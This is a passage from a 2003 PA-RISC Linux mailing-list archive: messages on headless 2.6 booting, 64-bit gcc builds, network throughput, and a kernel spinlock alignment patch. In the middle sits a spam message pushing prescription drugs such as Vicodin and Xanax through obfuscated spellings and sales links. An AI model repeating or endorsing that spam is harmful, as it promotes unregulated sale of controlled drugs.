Approved: news@gmane.org
Message-ID: <3FB265EC000096AD@ocpmta3.freegates.net>
References: <Pine.LNX.4.58.0311270423120.9783@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623005 2433 80.91.229.3 (22 Nov 2014 02:23:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 27 11:29:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C54684840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Nov 2003 11:29:57 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1APQtc-0005HA-00; Thu, 27 Nov 2003 19:29:44 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 27 Nov 2003 19:29:44 +0100
In-Reply-To: <Pine.LNX.4.58.0311270423120.9783@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20238

Hi all,

> > I've seen a config option 'DUMMY_CONSOLE' in .config, but I don't find
> > how to select it in 'make menuconfig' or any description in Documentation/.
> >
> > I have several machines that run headless - I use serial console then.
> >
>But I never had a situation where I didn't even have serial console ...
>
> yeah - the real problem is init sequence completely changed in 2.6 (vs
2.4).
> We haven't reworked all the same quirks from 2.4 into 2.6 yet.

> So is there current a way to get 2.6 working *without* serial console or
STI ?

I rebuild a k 2.6.0-test11 with my gcc-3.3.2 64bits without SUPERIO and PDC
console. No pb to rebuild but it failled to boot on the b2k :( (and no console
meana no mean to analyse :( ). 

Sorry to have no more help, but for such kind of pb I read (some time ago
on lwn) that some one was working on a 'network' console for 2.6 (suporting
at this time tulipe's nic among others iirc). I try to contact him but never
get any feedback. Is somebody known the status of this patch in 2.6?

Thanks,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3.2 - 64bit failled to build?
Date: Thu, 27 Nov 2003 19:38:12 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <3FB265EC000096CB@ocpmta3.freegates.net>
References: <20031126181935.GJ27674@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623005 2435 80.91.229.3 (22 Nov 2014 02:23:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 27 11:38:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C88D4840
	for <parisc-linux@parisc-linux.org>; Thu, 27 Nov 2003 11:38:16 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1APR1q-0006iB-00; Thu, 27 Nov 2003 19:38:14 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 27 Nov 2003 19:38:12 +0100
In-Reply-To: <20031126181935.GJ27674@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20239

> You need the userspace headers for 64-bits. They don't exist
> so I normally hack them into place. Please try to use Kegel's crosstools
and
> see if you can get them building our cross-compiler? :)

Well I grab it from his site (http://www.kegel.com/crosstool/)

Don't have time to have more look but at first glance it didn't suport yet
hppa (so I will have to see more if there are patches; may be this week-end
;) )

>If you want a quick fix, grab a current debian libc6-dev package, unpack
>it using -x and move the /usr/include directory to your
>$PREFIX/hppa64-linux directory so that the target headers are there.

Sorry no time today but the package is already installed on the system, so
I could just find supplied include files and link it into '$PREFIX/hppa64-linux'?

Thanks,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6 - need config help
Date: Thu, 27 Nov 2003 11:49:39 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20031127184939.GC9746@colo.lackof.org>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie> <Pine.LNX.4.58.0311270244030.9783@sal.ucc.ie> <20031127042103.GC1321@colo.lackof.org> <Pine.LNX.4.58.0311270423120.9783@sal.ucc.ie> <Pine.LNX.4.58.0311270444110.9783@sal.ucc.ie> <20031127061557.GE1321@colo.lackof.org> <Pine.LNX.4.58.0311271450260.13181@sal.ucc.ie> <20031127181531.GB9746@colo.lackof.org> <Pine.LNX.4.58.0311271817360.14260@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623005 2443 80.91.229.3 (22 Nov 2014 02:23:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 27 11:49:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2194E4840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Nov 2003 11:49:41 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 9263D29803D; Thu, 27 Nov 2003 11:49:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 09933-09; Thu, 27 Nov 2003 11:49:39 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A52A729803A; Thu, 27 Nov 2003 11:49:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0311271817360.14260@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20240

On Thu, Nov 27, 2003 at 06:21:26PM +0000, M. Grabert wrote:
> On Thu, 27 Nov 2003, Grant Grundler wrote:
> 
> > On Thu, Nov 27, 2003 at 03:16:08PM +0000, M. Grabert wrote:
> > > The max. transfer rate of any 100BT network is around 5MByte/s.
> >
> > 100BT is capable of 90-95Mb/s ~= 11MB/s.
> 
> That's theoretical, not really practically possible/feasible :-/

it's possible with a switched network. It's not possible
with regular hub where one has to deal with collisions.
Full duplex switched networks obsolete token passing as a method to
avoid packet collisions.

> > There's a website someplace that has 100BT performance numbers
> > for all sorts of card/OS combinations.
> >
> > I've measured ftp transfers > 10MB/s between ia64 and ia32 machines
> > over 100BT link.
> 
> ftp? uncompressed? Well I'm impressed ...
> The fastest 100MBit link I ever had was 7MBytes/s.

This is an excellent paper on routing:
	http://robur.slu.se/Linux/net-development/jamal/FF-html/

Peak throughput (in one port of a 4-port tulip card and out another)
is about 50Mb/s because the single CPU is saturated.  He does better
with an SMP machine. Jamal later got 20% perf improvement (measured in
packets per second) using MMIO instead of IO port space . But still
saturating the CPU. Jamal was confident at the time he could route at
link rate (95Mb/s) with 64byte packets on a faster SMP machine.

grant


From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dominick Key" <euccncy@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Rx - V.I.C.O.D.I.N---Val.ium, Xan.ax, Via.gra...clayton
Date: Sat, 29 Nov 2003 16:11:51 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <1a5u7y33sf-55t99epv-wx2y@rp1x2.cfq>
Reply-To: "Dominick Key" <euccncy@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="23.D.B885.5__.2FC5"
X-Trace: ger.gmane.org 1416623006 2448 80.91.229.3 (22 Nov 2014 02:23:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 29 01:25:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pd9e47c90.dip.t-dialin.net (pD9E47C90.dip.t-dialin.net [217.228.124.144])
	by dsl2.external.hp.com (Postfix) with SMTP id C709E4840
	for <parisc-linux@parisc-linux.org>; Sat, 29 Nov 2003 01:25:16 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20241

--23.D.B885.5__.2FC5
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Vi.co.din Is  Here


www.dealsforu.biz/l/113/index.htm


Vi.co.din


V.al.ium

X.an.ax


www.dealsforu.biz/l/113/index.htm


darvon---ambien---stilnox---ultram---alprazolam

clonazepam---ativan---tramadol---xenical---diazepam

celebrex---prozac---buspar---vioxx---zyprexa---zoloft


www.dealsforu.biz/l/113/index.htm








No more ads: www.dealsforu.biz/optout.html



















rfcegl

--23.D.B885.5__.2FC5--



From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] rewrite kernel spinlock code to work better
 with gcc
Date: Sat, 29 Nov 2003 23:35:08 +0000
Lines: 291
Approved: news@gmane.org
Message-ID: <3FC92D2C.5070103@tiscali.be>
References: <20031126070714.GN975@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030003000508050808040000"
X-Trace: ger.gmane.org 1416623006 2452 80.91.229.3 (22 Nov 2014 02:23:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 29 16:35:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5AFE4840
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Nov 2003 16:35:09 -0700 (MST)
Original-Received: from [62.235.120.178] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AQEcF-0005A0-Mx; Sun, 30 Nov 2003 00:35:07 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031126070714.GN975@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20242

This is a multi-part message in MIME format.
--------------030003000508050808040000
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Randolph,

may be this alignement with 2.4 is still relevant:
---------><---------
--- system.h-rc 2003-11-30 00:21:55.000000000 +0100
+++ system.h    2003-11-30 00:26:17.000000000 +0100
@@ -138,12 +138,36 @@
  #define set_wmb(var, value)            do { var = value; wmb(); } 
while (0)


-/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
+/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.
+ *
+ * Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
+ * since it only has load-and-zero. Moreover, at least on some PA 
processors,+ * the semaphore address has to be 16-byte aligned.
+ */
+#ifdef CONFIG_PA20
+/*
+> From: "Jim Hull" <jim.hull of hp.com>
+> Delivery-date: Wed, 29 Jan 2003 13:57:05 -0500
+> I've attached a summary of the change, but basically, for PA 2.0, as
+> long as the ",CO" (coherent operation) completer is specified, then the
+> 16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
+> they only require "natural" alignment (4-byte for ldcw, 8-byte for
+> ldcd).
+*/
+
+#define __ldcw(a) ({ \
+       unsigned __ret; \
+       __asm__ __volatile__("ldcw,co 0(%1),%0" : "=r" (__ret) : "r" (a)); \
+       __ret; \
+})
+#else
  #define __ldcw(a) ({ \
         unsigned __ret; \
         __asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
         __ret; \
  })
+#endif
+

  /* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
     and GCC only guarantees 8-byte alignment for stack locals, we can't
---------><---------

hth,
	Joel

ps: also join as attachment (in case of bad wraping)

Randolph Chung wrote:
> This has been discussed in bits and pieces several times on the list,
> let me summarize:
> 
> - On at least some PA processors, addresses passed to ldcw() must be
> 16-byte aligned
> - gcc doesn't guarantee alignment of automatic variables even if the
> structure is marked with aligned(16). In gcc-3.0.x, this worked most of
> the time because stack alignment was set to 128 bits, but this caused
> various problems so the change was reverted in later revisions of gcc.
> 
> In glibc, Carlos and Dave implemented "auto-aligning" locks by using an
> array of 4 ints and doing ldcw on the 16-byte aligned word inside that
> array. This makes the code work all the time irregardless of how it is
> placed in memory. Here's a patch that implements similar locking
> mechanisms for the kernel. It compiles, but as SMP still doesn't boot
> on 2.6, i haven't really tried to run it. 
> 
> there is some concern this will make structures bigger, but at least 
> in some situations this actually makes them smaller. e.g.
> if you have:
> 
> struct { int x; spinlock_t lock; };
> 
> with the current scheme (using the aligned(16) attribute) the structure
> is 32 bytes. with the new scheme it is only 20 bytes. actually i don't
> think there are any cases where it will make any structures bigger 
> than they are now..... 
> 
> Any comments?
> 
> Index: include/asm-parisc/spinlock.h
> ===================================================================
> RCS file: /var/cvs/linux-2.6/include/asm-parisc/spinlock.h,v
> retrieving revision 1.1
> diff -u -p -r1.1 spinlock.h
> --- include/asm-parisc/spinlock.h	29 Jul 2003 17:02:04 -0000	1.1
> +++ include/asm-parisc/spinlock.h	26 Nov 2003 07:00:12 -0000
> @@ -4,35 +4,42 @@
>  #include <asm/system.h>
>  
>  /* Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
> - * since it only has load-and-zero.
> + * since it only has load-and-zero. Moreover, at least on some PA processors,
> + * the semaphore address has to be 16-byte aligned.
>   */
>  
>  #undef SPIN_LOCK_UNLOCKED
> -#define SPIN_LOCK_UNLOCKED (spinlock_t) { 1 }
> +#define SPIN_LOCK_UNLOCKED (spinlock_t) { { 1, 1, 1, 1 } }
>  
> -#define spin_lock_init(x)	do { (x)->lock = 1; } while(0)
> +#define spin_lock_init(x)	do { *(x) = SPIN_LOCK_UNLOCKED; } while(0)
>  
> -#define spin_is_locked(x) ((x)->lock == 0)
> -
> -#define spin_unlock_wait(x)	do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
> -
> -#if 1
> -#define _raw_spin_lock(x) do { \
> -	while (__ldcw (&(x)->lock) == 0) \
> -		while (((x)->lock) == 0) ; } while (0)
> -
> -#else
> -#define _raw_spin_lock(x) \
> -	do { while(__ldcw(&(x)->lock) == 0); } while(0)
> -#endif
> +static inline int spin_is_locked(spinlock_t *x)
> +{
> +	volatile unsigned int *a = __ldcw_align(x);
> +	return *a == 0;
> +}
> +
> +#define spin_unlock_wait(x)	do { barrier(); } while(spin_is_locked(x))
> +
> +static inline void _raw_spin_lock(spinlock_t *x)
> +{
> +	volatile unsigned int *a = __ldcw_align(x);
> +	while (__ldcw(a) == 0)
> +		while (*a == 0);
> +}
> +
> +static inline void _raw_spin_unlock(spinlock_t *x)
> +{
> +	volatile unsigned int *a = __ldcw_align(x);
> +	*a = 1;
> +}
> +
> +static inline int _raw_spin_trylock(spinlock_t *x)
> +{
> +	volatile unsigned int *a = __ldcw_align(x);
> +	return __ldcw(a) != 0;
> +}
>  	
> -#define _raw_spin_unlock(x) \
> -	do { (x)->lock = 1; } while(0)
> -
> -#define _raw_spin_trylock(x) (__ldcw(&(x)->lock) != 0)
> -
> -
> -
>  /*
>   * Read-write spinlocks, allowing multiple readers
>   * but only one writer.
> @@ -42,7 +49,7 @@ typedef struct {
>  	volatile int counter;
>  } rwlock_t;
>  
> -#define RW_LOCK_UNLOCKED (rwlock_t) { {1}, 0 }
> +#define RW_LOCK_UNLOCKED (rwlock_t) { { { 1, 1, 1, 1 } }, 0 }
>  
>  #define rwlock_init(lp)	do { *(lp) = RW_LOCK_UNLOCKED; } while (0)
>  
> Index: include/asm-parisc/system.h
> ===================================================================
> RCS file: /var/cvs/linux-2.6/include/asm-parisc/system.h,v
> retrieving revision 1.1
> diff -u -p -r1.1 system.h
> --- include/asm-parisc/system.h	29 Jul 2003 17:02:04 -0000	1.1
> +++ include/asm-parisc/system.h	26 Nov 2003 07:00:12 -0000
> @@ -145,6 +145,19 @@ static inline void set_eiem(unsigned lon
>  	__ret; \
>  })
>  
> +/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
> +   and GCC only guarantees 8-byte alignment for stack locals, we can't
> +   be assured of 16-byte alignment for atomic lock data even if we
> +   specify "__attribute ((aligned(16)))" in the type declaration.  So,
> +   we use a struct containing an array of four ints for the atomic lock
> +   type and dynamically select the 16-byte aligned int from the array
> +   for the semaphore.  */
> +#define __PA_LDCW_ALIGNMENT 16
> +#define __ldcw_align(a) ({ \
> +  unsigned long __ret = (unsigned long) a;                     		\
> +  __ret = (__ret + __PA_LDCW_ALIGNMENT - 1) & ~(__PA_LDCW_ALIGNMENT - 1); \
> +  (unsigned int *) __ret;                                               \
> +})
>  
>  #ifdef CONFIG_SMP
>  /*
> @@ -152,7 +165,7 @@ static inline void set_eiem(unsigned lon
>   */
>  
>  typedef struct {
> -	volatile unsigned int __attribute__((aligned(16))) lock;
> +	volatile unsigned int lock[4];
>  } spinlock_t;
>  #endif
> Index: include/asm-parisc/atomic.h
> ===================================================================
> RCS file: /var/cvs/linux-2.6/include/asm-parisc/atomic.h,v
> retrieving revision 1.5
> diff -u -p -r1.5 atomic.h
> --- include/asm-parisc/atomic.h	22 Sep 2003 14:28:12 -0000	1.5
> +++ include/asm-parisc/atomic.h	26 Nov 2003 07:00:12 -0000
> @@ -24,11 +24,18 @@
>  
>  extern spinlock_t __atomic_hash[ATOMIC_HASH_SIZE];
>  /* copied from <asm/spinlock.h> and modified */
> -#  define SPIN_LOCK(x) \
> -	do { while(__ldcw(&(x)->lock) == 0); } while(0)
> -	
> -#  define SPIN_UNLOCK(x) \
> -	do { (x)->lock = 1; } while(0)
> +static inline void SPIN_LOCK(spinlock_t *x)
> +{
> +	volatile unsigned int *a = __ldcw_align(x);
> +	while (__ldcw(a) == 0)
> +		while (*a == 0);
> +}
> +
> +static inline void SPIN_UNLOCK(spinlock_t *x)
> +{
> +	volatile unsigned int *a = __ldcw_align(x);
> +	*a = 1;
> +}
>  #else
>  #  define ATOMIC_HASH_SIZE 1
>  #  define ATOMIC_HASH(a)	(0)
> 
> 
> randolph

--------------030003000508050808040000
Content-Type: text/plain;
 name="system.h-align.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="system.h-align.diff"

--- system.h-rc	2003-11-30 00:21:55.000000000 +0100
+++ system.h	2003-11-30 00:26:17.000000000 +0100
@@ -138,12 +138,36 @@
 #define set_wmb(var, value)		do { var = value; wmb(); } while (0)
 
 
-/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
+/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.
+ *
+ * Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
+ * since it only has load-and-zero. Moreover, at least on some PA processors,
+ * the semaphore address has to be 16-byte aligned.
+ */
+#ifdef CONFIG_PA20
+/* 
+> From: "Jim Hull" <jim.hull of hp.com>
+> Delivery-date: Wed, 29 Jan 2003 13:57:05 -0500
+> I've attached a summary of the change, but basically, for PA 2.0, as
+> long as the ",CO" (coherent operation) completer is specified, then the
+> 16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
+> they only require "natural" alignment (4-byte for ldcw, 8-byte for
+> ldcd).
+*/
+
+#define __ldcw(a) ({ \
+	unsigned __ret; \
+	__asm__ __volatile__("ldcw,co 0(%1),%0" : "=r" (__ret) : "r" (a)); \
+	__ret; \
+})
+#else
 #define __ldcw(a) ({ \
 	unsigned __ret; \
 	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
 	__ret; \
 })
+#endif
+
 
 /* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
    and GCC only guarantees 8-byte alignment for stack locals, we can't

--------------030003000508050808040000--



From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] rewrite kernel spinlock code to work better
 with gcc
Date: Sat, 29 Nov 2003 23:50:37 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <3FC930CD.9070105@tiscali.be>
References: <200311261654.hAQGsUCa011684@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623006 2455 80.91.229.3 (22 Nov 2014 02:23:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:26 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 29 16:50:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F69A4840
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Nov 2003 16:50:39 -0700 (MST)
Original-Received: from [62.235.120.178] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AQErE-0007OU-41; Sun, 30 Nov 2003 00:50:36 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <200311261654.hAQGsUCa011684@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20243


John David Anglin wrote:
>>+/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
>>+   and GCC only guarantees 8-byte alignment for stack locals, we can't
>>+   be assured of 16-byte alignment for atomic lock data even if we
>>+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
>>+   we use a struct containing an array of four ints for the atomic lock
>>+   type and dynamically select the 16-byte aligned int from the array
